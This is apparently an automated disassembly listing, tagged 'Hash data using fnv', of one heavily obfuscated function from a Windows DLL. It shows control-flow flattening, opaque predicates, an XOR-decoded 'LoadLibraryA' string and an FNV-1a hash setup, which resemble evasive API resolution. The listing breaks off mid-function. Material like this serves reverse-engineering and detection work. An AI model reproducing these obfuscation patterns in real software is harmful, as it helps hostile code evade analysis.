Function at 0x1800204c0
Capabilities:
Hash data using fnv

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xe8
mov rax, qword [0x180128a08]
xor rax, rsp
mov qword [rsp + 0xe0], rax
lea rsi, [rsp + 0xd0]
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
mov byte [rax], 0x1c
mov rax, qword [rsp + 0x30]
add rax, 1
mov qword [rsp + 0x28], rax
mov eax, dword [0x180129958]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012995c], 0xa
setl cl
or cl, al
mov eax, 0x1b53a4ac
mov edx, 0xa5d653c7
cmove eax, edx
mov ecx, 0x5c53854
cmove ecx, edx
mov edx, 0x399ebb8
cmp edx, 0x5c53853
jle 0x180020570
cmp edx, 0x5c53854
je 0x1800205b9
cmp edx, 0x1b53a4ac
je 0x1800205df
cmp edx, 0x2ffbd1b7
jne 0x180020540
mov edx, ecx
jmp 0x180020540
cmp edx, 0xa5d653c7
je 0x1800205bd
cmp edx, 0x399ebb8
jne 0x180020540
mov qword [rsp + 0xc0], rsi
mov edx, 0x2f166cde
nop dword [rax]
cmp edx, 0x64f82eb7
je 0x1800205c7
cmp edx, 0x2f166cde
jne 0x180020590
mov rdx, qword [rsp + 0xc0]
movzx edx, byte [rdx]
mov byte [rsp + 0x90], dl
mov edx, 0x64f82eb7
jmp 0x180020590
mov edx, eax
jmp 0x180020540
mov edx, 0x5c53854
jmp 0x180020540
mov dl, byte [rsp + 0x90]
xor dl, 0x4c
mov byte [rsp + 0x50], dl
mov edx, 0x2ffbd1b7
jmp 0x180020540
mov al, byte [rsp + 0x50]
mov byte [rsp + 0x4c], al
mov eax, 0x60ac2563
mov r8d, 0x252385fe
mov r14d, 0x1b53a4ac
mov r15d, 0x5c53854
mov r10d, 0x7affaa37
mov r9d, 0xd3958916
nop word [rax + rax]
cmp eax, 0x47e4a6c6
jle 0x180020720
cmp eax, 0x625dd93c
jg 0x180020830
cmp eax, 0x47e4a6c7
je 0x180020855
cmp eax, 0x60ac2563
jne 0x180020610
mov rax, qword [rsp + 0x28]
mov bl, byte [rsp + 0x4c]
mov byte [rax], bl
mov rax, qword [rsp + 0x28]
mov edi, dword [0x180129958]
lea ebx, [rdi - 1]
imul ebx, edi
test bl, 1
sete bl
cmp dword [0x18012995c], 0xa
setl cl
or cl, bl
mov edi, 0xa5d653c7
cmovne edi, r14d
mov ebx, 0xa5d653c7
cmovne ebx, r15d
mov ebp, 0x399ebb8
nop dword [rax]
cmp ebp, 0x5c53853
jle 0x1800206b0
cmp ebp, 0x5c53854
je 0x1800206f6
cmp ebp, 0x1b53a4ac
je 0x180020939
cmp ebp, 0x2ffbd1b7
jne 0x180020680
mov ebp, ebx
jmp 0x180020680
cmp ebp, 0xa5d653c7
je 0x1800206fa
cmp ebp, 0x399ebb8
jne 0x180020680
mov qword [rsp + 0xc0], rsi
mov ebp, 0x2f166cde
nop dword [rax]
cmp ebp, 0x64f82eb7
je 0x180020704
cmp ebp, 0x2f166cde
jne 0x1800206d0
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov ebp, 0x64f82eb7
jmp 0x1800206d0
mov ebp, edi
jmp 0x180020680
mov ebp, 0x5c53854
jmp 0x180020680
mov cl, byte [rsp + 0x38]
xor cl, 0x6f
mov byte [rsp + 0x24], cl
mov ebp, 0x2ffbd1b7
jmp 0x180020680
cmp eax, 0xd3958916
je 0x1800216f8
cmp eax, 0x229d1c11
je 0x180020a19
cmp eax, 0x252385fe
jne 0x180020610
mov rax, qword [rsp + 0x40]
mov cl, byte [rsp + 0x48]
mov byte [rax], cl
mov rax, qword [rsp + 0x40]
mov ecx, dword [0x180129958]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x18012995c], 0xa
setl dl
or dl, cl
mov ebp, 0xa5d653c7
cmovne ebp, r14d
mov ebx, 0xa5d653c7
cmovne ebx, r15d
mov edi, 0x399ebb8
nop word cs:[rax + rax]
cmp edi, 0x5c53853
jle 0x1800207c0
cmp edi, 0x5c53854
je 0x180020806
cmp edi, 0x1b53a4ac
je 0x180020a50
cmp edi, 0x2ffbd1b7
jne 0x180020790
mov edi, ebx
jmp 0x180020790
cmp edi, 0xa5d653c7
je 0x18002080a
cmp edi, 0x399ebb8
jne 0x180020790
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180020814
cmp edi, 0x2f166cde
jne 0x1800207e0
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x1800207e0
mov edi, ebp
jmp 0x180020790
mov edi, 0x5c53854
jmp 0x180020790
mov cl, byte [rsp + 0x38]
xor cl, 0x64
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x180020790
cmp eax, 0x625dd93d
je 0x180020b29
cmp eax, 0x7affaa37
jne 0x180020610
mov eax, 0x625dd93d
mov r11, qword [rsp + 0x50]
jmp 0x180020610
mov rax, qword [rsp + 0x40]
mov cl, byte [rsp + 0x48]
mov byte [rax], cl
mov rax, qword [rsp + 0x40]
mov ecx, dword [0x180129958]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x18012995c], 0xa
setl dl
or dl, cl
mov ebp, 0xa5d653c7
cmovne ebp, r14d
mov ebx, 0xa5d653c7
cmovne ebx, r15d
mov edi, 0x399ebb8
nop word [rax + rax]
cmp edi, 0x5c53853
jle 0x1800208d0
cmp edi, 0x5c53854
je 0x180020916
cmp edi, 0x1b53a4ac
je 0x180020b47
cmp edi, 0x2ffbd1b7
jne 0x1800208a0
mov edi, ebx
jmp 0x1800208a0
cmp edi, 0xa5d653c7
je 0x18002091a
cmp edi, 0x399ebb8
jne 0x1800208a0
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180020924
cmp edi, 0x2f166cde
jne 0x1800208f0
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x1800208f0
mov edi, ebp
jmp 0x1800208a0
mov edi, 0x5c53854
jmp 0x1800208a0
mov cl, byte [rsp + 0x38]
xor cl, 0x64
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x1800208a0
mov cl, byte [rsp + 0x24]
mov byte [rax + 1], cl
add rax, 2
mov qword [rsp + 0x40], rax
mov eax, dword [0x180129958]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012995c], 0xa
setl cl
or cl, al
mov eax, 0xa5d653c7
cmovne eax, r14d
mov ebp, 0xa5d653c7
cmovne ebp, r15d
mov edi, 0x399ebb8
nop
cmp edi, 0x5c53853
jle 0x1800209b0
cmp edi, 0x5c53854
je 0x1800209f6
cmp edi, 0x1b53a4ac
je 0x180020c29
cmp edi, 0x2ffbd1b7
jne 0x180020980
mov edi, ebp
jmp 0x180020980
cmp edi, 0xa5d653c7
je 0x1800209fa
cmp edi, 0x399ebb8
jne 0x180020980
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180020a04
cmp edi, 0x2f166cde
jne 0x1800209d0
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x1800209d0
mov edi, eax
jmp 0x180020980
mov edi, 0x5c53854
jmp 0x180020980
mov cl, byte [rsp + 0x38]
xor cl, 0x61
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x180020980
mov eax, dword [0x1801296a8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1801296ac], 0xa
setge bl
xor al, bl
mov edx, eax
xor dl, 1
and cl, bl
or cl, dl
xor cl, al
mov eax, 0x47e4a6c7
cmovne eax, r8d
jmp 0x180020610
mov cl, byte [rsp + 0x24]
mov byte [rax + 1], cl
mov ecx, dword [0x180129958]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x18012995c], 0xa
setl dl
or dl, cl
mov ebp, 0xa5d653c7
cmovne ebp, r14d
mov ebx, 0xa5d653c7
cmovne ebx, r15d
mov edi, 0x399ebb8
nop dword [rax]
cmp edi, 0x5c53853
jle 0x180020ac0
cmp edi, 0x5c53854
je 0x180020b06
cmp edi, 0x1b53a4ac
je 0x180020c3b
cmp edi, 0x2ffbd1b7
jne 0x180020a90
mov edi, ebx
jmp 0x180020a90
cmp edi, 0xa5d653c7
je 0x180020b0a
cmp edi, 0x399ebb8
jne 0x180020a90
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180020b14
cmp edi, 0x2f166cde
jne 0x180020ae0
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x180020ae0
mov edi, ebp
jmp 0x180020a90
mov edi, 0x5c53854
jmp 0x180020a90
mov cl, byte [rsp + 0x38]
xor cl, 0x4c
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x180020a90
mov byte [r11], 0
add r11, 1
cmp r11, qword [rsp + 0x90]
mov eax, 0x625dd93d
cmove eax, r9d
jmp 0x180020610
mov cl, byte [rsp + 0x24]
mov byte [rax + 1], cl
mov ecx, dword [0x180129958]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x18012995c], 0xa
setl dl
or dl, cl
mov ebp, 0xa5d653c7
cmovne ebp, r14d
mov ebx, 0xa5d653c7
cmovne ebx, r15d
mov edi, 0x399ebb8
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0x5c53853
jle 0x180020bc0
cmp edi, 0x5c53854
je 0x180020c06
cmp edi, 0x1b53a4ac
je 0x180020d19
cmp edi, 0x2ffbd1b7
jne 0x180020b90
mov edi, ebx
jmp 0x180020b90
cmp edi, 0xa5d653c7
je 0x180020c0a
cmp edi, 0x399ebb8
jne 0x180020b90
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180020c14
cmp edi, 0x2f166cde
jne 0x180020be0
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x180020be0
mov edi, ebp
jmp 0x180020b90
mov edi, 0x5c53854
jmp 0x180020b90
mov cl, byte [rsp + 0x38]
xor cl, 0x4c
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x180020b90
mov al, byte [rsp + 0x24]
mov byte [rsp + 0x48], al
mov eax, 0x229d1c11
jmp 0x180020610
mov cl, byte [rsp + 0x24]
mov byte [rax + 2], cl
mov ecx, dword [0x180129958]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x18012995c], 0xa
setl dl
or dl, cl
mov ebp, 0xa5d653c7
cmovne ebp, r14d
mov ebx, 0xa5d653c7
cmovne ebx, r15d
mov edi, 0x399ebb8
nop word [rax + rax]
cmp edi, 0x5c53853
jle 0x180020cb0
cmp edi, 0x5c53854
je 0x180020cf6
cmp edi, 0x1b53a4ac
je 0x180020df9
cmp edi, 0x2ffbd1b7
jne 0x180020c80
mov edi, ebx
jmp 0x180020c80
cmp edi, 0xa5d653c7
je 0x180020cfa
cmp edi, 0x399ebb8
jne 0x180020c80
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180020d04
cmp edi, 0x2f166cde
jne 0x180020cd0
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x180020cd0
mov edi, ebp
jmp 0x180020c80
mov edi, 0x5c53854
jmp 0x180020c80
mov cl, byte [rsp + 0x38]
xor cl, 0x69
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x180020c80
mov cl, byte [rsp + 0x24]
mov byte [rax + 2], cl
mov ecx, dword [0x180129958]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x18012995c], 0xa
setl dl
or dl, cl
mov ebp, 0xa5d653c7
cmovne ebp, r14d
mov ebx, 0xa5d653c7
cmovne ebx, r15d
mov edi, 0x399ebb8
nop word cs:[rax + rax]
nop
cmp edi, 0x5c53853
jle 0x180020d90
cmp edi, 0x5c53854
je 0x180020dd6
cmp edi, 0x1b53a4ac
je 0x180020ed9
cmp edi, 0x2ffbd1b7
jne 0x180020d60
mov edi, ebx
jmp 0x180020d60
cmp edi, 0xa5d653c7
je 0x180020dda
cmp edi, 0x399ebb8
jne 0x180020d60
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180020de4
cmp edi, 0x2f166cde
jne 0x180020db0
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x180020db0
mov edi, ebp
jmp 0x180020d60
mov edi, 0x5c53854
jmp 0x180020d60
mov cl, byte [rsp + 0x38]
xor cl, 0x69
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x180020d60
mov cl, byte [rsp + 0x24]
mov byte [rax + 3], cl
mov ecx, dword [0x180129958]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x18012995c], 0xa
setl dl
or dl, cl
mov ebx, 0xa5d653c7
cmovne ebx, r14d
mov ebp, 0xa5d653c7
cmovne ebp, r15d
mov edi, 0x399ebb8
nop word cs:[rax + rax]
nop
cmp edi, 0x5c53853
jle 0x180020e70
cmp edi, 0x5c53854
je 0x180020eb6
cmp edi, 0x1b53a4ac
je 0x180020fb9
cmp edi, 0x2ffbd1b7
jne 0x180020e40
mov edi, ebp
jmp 0x180020e40
cmp edi, 0xa5d653c7
je 0x180020eba
cmp edi, 0x399ebb8
jne 0x180020e40
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180020ec4
cmp edi, 0x2f166cde
jne 0x180020e90
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x180020e90
mov edi, ebx
jmp 0x180020e40
mov edi, 0x5c53854
jmp 0x180020e40
mov cl, byte [rsp + 0x38]
xor cl, 0x62
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x180020e40
mov cl, byte [rsp + 0x24]
mov byte [rax + 3], cl
mov ecx, dword [0x180129958]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x18012995c], 0xa
setl dl
or dl, cl
mov ebx, 0xa5d653c7
cmovne ebx, r14d
mov ebp, 0xa5d653c7
cmovne ebp, r15d
mov edi, 0x399ebb8
nop word cs:[rax + rax]
nop
cmp edi, 0x5c53853
jle 0x180020f50
cmp edi, 0x5c53854
je 0x180020f96
cmp edi, 0x1b53a4ac
je 0x180021069
cmp edi, 0x2ffbd1b7
jne 0x180020f20
mov edi, ebp
jmp 0x180020f20
cmp edi, 0xa5d653c7
je 0x180020f9a
cmp edi, 0x399ebb8
jne 0x180020f20
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180020fa4
cmp edi, 0x2f166cde
jne 0x180020f70
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x180020f70
mov edi, ebx
jmp 0x180020f20
mov edi, 0x5c53854
jmp 0x180020f20
mov cl, byte [rsp + 0x38]
xor cl, 0x62
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x180020f20
mov cl, byte [rsp + 0x24]
mov byte [rax + 4], cl
mov edi, 0x399ebb8
nop word cs:[rax + rax]
nop
cmp edi, 0x5c53853
jle 0x180021000
cmp edi, 0x5c53854
je 0x180021046
cmp edi, 0x1b53a4ac
je 0x180021119
cmp edi, 0x2ffbd1b7
jne 0x180020fd0
mov edi, ebp
jmp 0x180020fd0
cmp edi, 0xa5d653c7
je 0x18002104a
cmp edi, 0x399ebb8
jne 0x180020fd0
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180021054
cmp edi, 0x2f166cde
jne 0x180021020
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x180021020
mov edi, ebx
jmp 0x180020fd0
mov edi, 0x5c53854
jmp 0x180020fd0
mov cl, byte [rsp + 0x38]
xor cl, 0x72
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x180020fd0
mov cl, byte [rsp + 0x24]
mov byte [rax + 4], cl
mov edi, 0x399ebb8
nop word cs:[rax + rax]
nop
cmp edi, 0x5c53853
jle 0x1800210b0
cmp edi, 0x5c53854
je 0x1800210f6
cmp edi, 0x1b53a4ac
je 0x1800211c9
cmp edi, 0x2ffbd1b7
jne 0x180021080
mov edi, ebp
jmp 0x180021080
cmp edi, 0xa5d653c7
je 0x1800210fa
cmp edi, 0x399ebb8
jne 0x180021080
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180021104
cmp edi, 0x2f166cde
jne 0x1800210d0
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x1800210d0
mov edi, ebx
jmp 0x180021080
mov edi, 0x5c53854
jmp 0x180021080
mov cl, byte [rsp + 0x38]
xor cl, 0x72
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x180021080
mov cl, byte [rsp + 0x24]
mov byte [rax + 5], cl
mov edi, 0x399ebb8
nop word cs:[rax + rax]
nop
cmp edi, 0x5c53853
jle 0x180021160
cmp edi, 0x5c53854
je 0x1800211a6
cmp edi, 0x1b53a4ac
je 0x180021279
cmp edi, 0x2ffbd1b7
jne 0x180021130
mov edi, ebp
jmp 0x180021130
cmp edi, 0xa5d653c7
je 0x1800211aa
cmp edi, 0x399ebb8
jne 0x180021130
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x1800211b4
cmp edi, 0x2f166cde
jne 0x180021180
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x180021180
mov edi, ebx
jmp 0x180021130
mov edi, 0x5c53854
jmp 0x180021130
mov cl, byte [rsp + 0x38]
xor cl, 0x61
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x180021130
mov cl, byte [rsp + 0x24]
mov byte [rax + 5], cl
mov edi, 0x399ebb8
nop word cs:[rax + rax]
nop
cmp edi, 0x5c53853
jle 0x180021210
cmp edi, 0x5c53854
je 0x180021256
cmp edi, 0x1b53a4ac
je 0x180021329
cmp edi, 0x2ffbd1b7
jne 0x1800211e0
mov edi, ebp
jmp 0x1800211e0
cmp edi, 0xa5d653c7
je 0x18002125a
cmp edi, 0x399ebb8
jne 0x1800211e0
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180021264
cmp edi, 0x2f166cde
jne 0x180021230
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x180021230
mov edi, ebx
jmp 0x1800211e0
mov edi, 0x5c53854
jmp 0x1800211e0
mov cl, byte [rsp + 0x38]
xor cl, 0x61
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x1800211e0
mov cl, byte [rsp + 0x24]
mov byte [rax + 6], cl
mov edi, 0x399ebb8
nop word cs:[rax + rax]
nop
cmp edi, 0x5c53853
jle 0x1800212c0
cmp edi, 0x5c53854
je 0x180021306
cmp edi, 0x1b53a4ac
je 0x1800213d9
cmp edi, 0x2ffbd1b7
jne 0x180021290
mov edi, ebp
jmp 0x180021290
cmp edi, 0xa5d653c7
je 0x18002130a
cmp edi, 0x399ebb8
jne 0x180021290
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180021314
cmp edi, 0x2f166cde
jne 0x1800212e0
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x1800212e0
mov edi, ebx
jmp 0x180021290
mov edi, 0x5c53854
jmp 0x180021290
mov cl, byte [rsp + 0x38]
xor cl, 0x72
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x180021290
mov cl, byte [rsp + 0x24]
mov byte [rax + 6], cl
mov edi, 0x399ebb8
nop word cs:[rax + rax]
nop
cmp edi, 0x5c53853
jle 0x180021370
cmp edi, 0x5c53854
je 0x1800213b6
cmp edi, 0x1b53a4ac
je 0x180021489
cmp edi, 0x2ffbd1b7
jne 0x180021340
mov edi, ebp
jmp 0x180021340
cmp edi, 0xa5d653c7
je 0x1800213ba
cmp edi, 0x399ebb8
jne 0x180021340
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x1800213c4
cmp edi, 0x2f166cde
jne 0x180021390
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x180021390
mov edi, ebx
jmp 0x180021340
mov edi, 0x5c53854
jmp 0x180021340
mov cl, byte [rsp + 0x38]
xor cl, 0x72
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x180021340
mov cl, byte [rsp + 0x24]
mov byte [rax + 7], cl
mov edi, 0x399ebb8
nop word cs:[rax + rax]
nop
cmp edi, 0x5c53853
jle 0x180021420
cmp edi, 0x5c53854
je 0x180021466
cmp edi, 0x1b53a4ac
je 0x180021539
cmp edi, 0x2ffbd1b7
jne 0x1800213f0
mov edi, ebp
jmp 0x1800213f0
cmp edi, 0xa5d653c7
je 0x18002146a
cmp edi, 0x399ebb8
jne 0x1800213f0
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180021474
cmp edi, 0x2f166cde
jne 0x180021440
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x180021440
mov edi, ebx
jmp 0x1800213f0
mov edi, 0x5c53854
jmp 0x1800213f0
mov cl, byte [rsp + 0x38]
xor cl, 0x79
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x1800213f0
mov cl, byte [rsp + 0x24]
mov byte [rax + 7], cl
mov edi, 0x399ebb8
nop word cs:[rax + rax]
nop
cmp edi, 0x5c53853
jle 0x1800214d0
cmp edi, 0x5c53854
je 0x180021516
cmp edi, 0x1b53a4ac
je 0x1800215e9
cmp edi, 0x2ffbd1b7
jne 0x1800214a0
mov edi, ebp
jmp 0x1800214a0
cmp edi, 0xa5d653c7
je 0x18002151a
cmp edi, 0x399ebb8
jne 0x1800214a0
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180021524
cmp edi, 0x2f166cde
jne 0x1800214f0
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x1800214f0
mov edi, ebx
jmp 0x1800214a0
mov edi, 0x5c53854
jmp 0x1800214a0
mov cl, byte [rsp + 0x38]
xor cl, 0x79
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x1800214a0
mov cl, byte [rsp + 0x24]
mov byte [rax + 8], cl
mov edi, 0x399ebb8
nop word cs:[rax + rax]
nop
cmp edi, 0x5c53853
jle 0x180021580
cmp edi, 0x5c53854
je 0x1800215c6
cmp edi, 0x1b53a4ac
je 0x180021699
cmp edi, 0x2ffbd1b7
jne 0x180021550
mov edi, ebp
jmp 0x180021550
cmp edi, 0xa5d653c7
je 0x1800215ca
cmp edi, 0x399ebb8
jne 0x180021550
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x1800215d4
cmp edi, 0x2f166cde
jne 0x1800215a0
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x1800215a0
mov edi, ebx
jmp 0x180021550
mov edi, 0x5c53854
jmp 0x180021550
mov cl, byte [rsp + 0x38]
xor cl, 0x41
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x180021550
mov cl, byte [rsp + 0x24]
mov byte [rax + 8], cl
mov edi, 0x399ebb8
nop word cs:[rax + rax]
nop
cmp edi, 0x5c53853
jle 0x180021630
cmp edi, 0x5c53854
je 0x180021676
cmp edi, 0x1b53a4ac
je 0x1800216e2
cmp edi, 0x2ffbd1b7
jne 0x180021600
mov edi, ebp
jmp 0x180021600
cmp edi, 0xa5d653c7
je 0x18002167a
cmp edi, 0x399ebb8
jne 0x180021600
mov qword [rsp + 0xc0], rsi
mov edi, 0x2f166cde
nop dword [rax]
cmp edi, 0x64f82eb7
je 0x180021684
cmp edi, 0x2f166cde
jne 0x180021650
mov rcx, qword [rsp + 0xc0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov edi, 0x64f82eb7
jmp 0x180021650
mov edi, ebx
jmp 0x180021600
mov edi, 0x5c53854
jmp 0x180021600
mov cl, byte [rsp + 0x38]
xor cl, 0x41
mov byte [rsp + 0x24], cl
mov edi, 0x2ffbd1b7
jmp 0x180021600
mov cl, byte [rsp + 0x24]
mov byte [rax + 9], cl
add rax, 0xa
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x30]
add rax, 0xe
mov qword [rsp + 0x90], rax
mov eax, dword [0x1801296a8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x47e4a6c7
cmove eax, r10d
cmp dword [0x1801296ac], 0xa
cmovl eax, r10d
jmp 0x180020610
mov cl, byte [rsp + 0x24]
mov byte [rax + 9], cl
mov rax, qword [rsp + 0x30]
mov eax, 0x252385fe
jmp 0x180020610
mov ecx, 0x104abbd4
mov edi, 0x256e7169
jmp 0x180021730
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x90]
movzx edx, byte [rbx + rbp]
mov rcx, rsi
call fcn.180098e10
mov byte [rbx + rbp], al
mov ecx, 0xecd4f682
mov rax, qword [rsp + 0x90]
nop dword [rax]
cmp ecx, 0xbc7f2d7
jg 0x180021780
cmp ecx, 0xe5af6075
jg 0x1800217b0
cmp ecx, 0xcc27c557
je 0x180021822
cmp ecx, 0xd4619607
jne 0x180021859
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
add rcx, 0xd
mov qword [rsp + 0x28], rcx
mov ecx, 0xcc27c557
jmp 0x180021730
cmp ecx, 0x256e7168
jg 0x1800217f0
cmp ecx, 0xbc7f2d8
je 0x18002183e
cmp ecx, 0x104abbd4
jne 0x180021730
mov ecx, 0xbc7f2d8
jmp 0x180021730
cmp ecx, 0xe5af6076
je 0x180021704
cmp ecx, 0xecd4f682
jne 0x180021730
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0xc0]
cmp rcx, 0xc
mov ecx, 0xd4619607
cmovb ecx, edi
jmp 0x180021730
cmp ecx, 0x256e7169
je 0x18002184a
cmp ecx, 0x486f3732
jne 0x180021730
mov rcx, qword [rsp + 0xc0]
add rcx, 1
mov qword [rsp + 0x90], rcx
mov ecx, 0xe5af6076
jmp 0x180021730
mov rcx, qword [rsp + 0x28]
mov byte [rcx], 0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x40], rcx
mov ecx, 0xc2c8c82e
jmp 0x180021730
mov ecx, 0xecd4f682
xor eax, eax
jmp 0x180021730
mov qword [rsp + 0x50], rsi
mov ecx, 0x486f3732
jmp 0x180021730
cmp ecx, 0xc2c8c82e
jne 0x180021730
movabs r13, 0xcbf29ce484222325
mov rax, qword [rsp + 0x40]
add rax, 1
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r12d, 0x9302de66
mov ecx, 0x7343bfbc
cmove r12d, ecx
mov r15d, 0x181b9de8
cmove r15d, ecx
mov ecx, 0x28ad3f39
mov r8d, 0x87cbc1a8
mov r9d, 0xfe90a09c
mov r10d, 0x1dd0b01
mov r11d, 0x5cca55f5
mov r14d, 0xfb306983
jmp 0x180021910
mov ecx, dword [rsp + 0x40]
mov rcx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xc0]
